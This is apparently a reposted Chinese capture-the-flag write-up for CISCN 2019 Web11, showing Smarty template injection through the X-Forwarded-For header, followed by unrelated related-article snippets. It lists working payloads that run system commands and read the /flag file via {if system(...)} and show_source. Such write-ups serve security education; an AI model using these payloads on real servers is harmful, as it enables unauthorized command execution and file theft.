[CISCN 2019华东南]Web11

[CISCN 2019华东南]Web11 wp

信息搜集

页面内容如下:

在这里插入图片描述

右上角显示的是我的当前 IP 。

在最下角提示:Build With Smarty !

在这里插入图片描述

Smarty 是 PHP 的一个模板引擎,那么这道题应该是 Smarty 模板注入。

Smarty 模板注入

可以参考博客:Smarty模板注入&CVE-2017-1000480

左上角既然能提取我的 IP ,那么根据页面内容稍微猜一下,应该是从 XFF 头提取 IP ,假设没有设置 XFF 头,提取的就是真实 IP 。

发个包测试一下:

在这里插入图片描述

说明这里确实会读取 XFF 头。

既然已经知道是 Smarty 模板引擎,那么就直接测试:

a{*comment*}b

在这里插入图片描述

返回结果是 ab ,测试成功。

查看 Smarty 版本:
{$smarty.version}

在这里插入图片描述

当前版本号为 3.1.30 。

if 语句执行 PHP 代码:

这个版本许多方法不可行,因此直接用 if 语句执行 PHP 代码:

{if phpinfo()}{/if}

在这里插入图片描述

值得注意的是 if 里面不用带分号。

这样的话就直接查看根目录下的文件:

{if system('ls /')}{/if}

在这里插入图片描述

在根目录下找到了 flag 文件。

查看 flag :

{if system('cat /flag')}{/if}

在这里插入图片描述

不回显,flag 看不了。

可能是过滤了 flag ,但是尝试了 {if system('cat /fl\ag')}{/if} 也不行

也可能是其他的原因,尝试了以下方法:

{if readfile ('/flag')}{/if}
{if show_source('/flag')}{/if}
{if system('cat /flag')}{/if}
{if file_get_contents('/flag')}{/if}

最后是:{if show_source('/flag')}{/if} 成功回显了:

在这里插入图片描述

拿到 flag 。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/325477.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

一文弄懂vue中样式穿透v-deep

1. 前言 在vue3的世界里,有一个style标签的关键字v-deep,官网称之为样式穿透。那他究竟是什么原理呢?又是怎么工作的呢?让我们一起探究一下。 2. 准备工作 需要实现搭建一个vue3的环境,我这里使用的是vitevue3的架构…

QT工具栏开始,退出

QT工具栏开始,退出 //初始化场景QMenuBar *bar menuBar();setMenuBar(bar);QMenu *startbar bar->addMenu("开始");QAction * quitAction startbar->addAction("退出");connect(quitAction , &QAction::triggered,[](){this->c…

Transformer 的双向编码器表示 (BERT)

一、说明 本文介绍语言句法中,最可能的单词填空在self-attention的表现形式,以及内部原理的介绍。 二、关于本文概述 在我之前的博客中,我们研究了关于生成式预训练 Transformer 的完整概述,关于生成式预训练 Transformer (GPT) 的…

无心剑汉英双语诗《一亩三分地》

一亩三分地 My Small World 二十四年世事变幻 拨号上网曾争分夺秒 如今不限流量肆意冲浪 大数据,云计算,人工智能 洗刷着世间各行各业 周围人,生活不断升级 房子,车子,妻子…… 换了一茬又一茬 洋溢着自豪的表情 而我…

【kettle】pdi/data-integration 集成kerberos认证连接hdfs、hive或spark thriftserver

一、背景 kerberos认证是比较底层的认证,掌握好了用起来比较简单。 kettle完成kerberos认证后会存储认证信息在jvm中,之后直接连接hive就可以了无需提供额外的用户信息。 spark thriftserver本质就是通过hive jdbc协议连接并运行spark sql任务。 二、…

在职工程师该不该转嵌入式?如何转

是否在职工程师该不该转嵌入式,取决于自身情况和职业规划。 考虑职业发展方向:如果希望在嵌入式系统开发领域发展,那么转岗是合理的选择。嵌入式系统广泛应用于汽车、家电、医疗等领域,技术含量高,有广阔的职业发展空间…

Github 2024-01-06 开源项目日报Top10

根据Github Trendings的统计,今日(2024-01-06统计)共有10个项目上榜。根据开发语言中项目的数量,汇总情况如下: 开发语言项目数量Python项目3Java项目1TypeScript项目1HTML项目1Go项目1HCL项目1Rust项目1Jupyter Notebook项目1非开发语言项目…

微服务-sentinel-基本案例,持久化

sentinel 功能 限流 限流文档 直接拒绝:触发阀值直接抛弃。冷启动:在一段时间内针对突发流量缓慢增长处理数量。 3)匀速器:请求以均匀的速度通过。 降级降级文档 1)RT 统计时间内,大于预设请求数量&…

C#,简单选择排序算法(Simple Select Sort)的源代码与数据可视化

排序算法是编程的基础。 常见的四种排序算法是:简单选择排序、冒泡排序、插入排序和快速排序。其中的快速排序的优势明显,一般使用递归方式实现,但遇到数据量大的情况则无法适用。实际工程中一般使用“非递归”方式实现。本文搜集发布四种算法…

Java经典框架之Zookeeper

Zookeeper Java 是第一大编程语言和开发平台。它有助于企业降低成本、缩短开发周期、推动创新以及改善应用服务。如今全球有数百万开发人员运行着超过 51 亿个 Java 虚拟机,Java 仍是企业和开发人员的首选开发平台。 课程内容的介绍 1. Zookeeper的介绍和安装 2. …

LINUX基础培训之开机启动过程

前言、本章学习目标 掌握系统启动、引导过程 了解grub.conf的参数设置 熟悉系统运行级别 了解加载内核过程 一、LINUX启动引导过程 Linux系统的启动过程并不是大家想象中的那么复杂,其过程可以分为5个阶段: 1.开机自检 服务器主机开机以后&#xf…

c# 学习笔记 - 委托(Delegate)

文章目录 1. 委托1.1 委托概述1.2 委托使用1.3 委托的传播 2. 匿名方法2.1 匿名方法概述2.2 匿名方法 1. 委托 1.1 委托概述 委托简介 委托就是对方法的引用,可以理解为例如整型变量的容器可以存储整形数据,委托就是某种方法的容器,可以用来…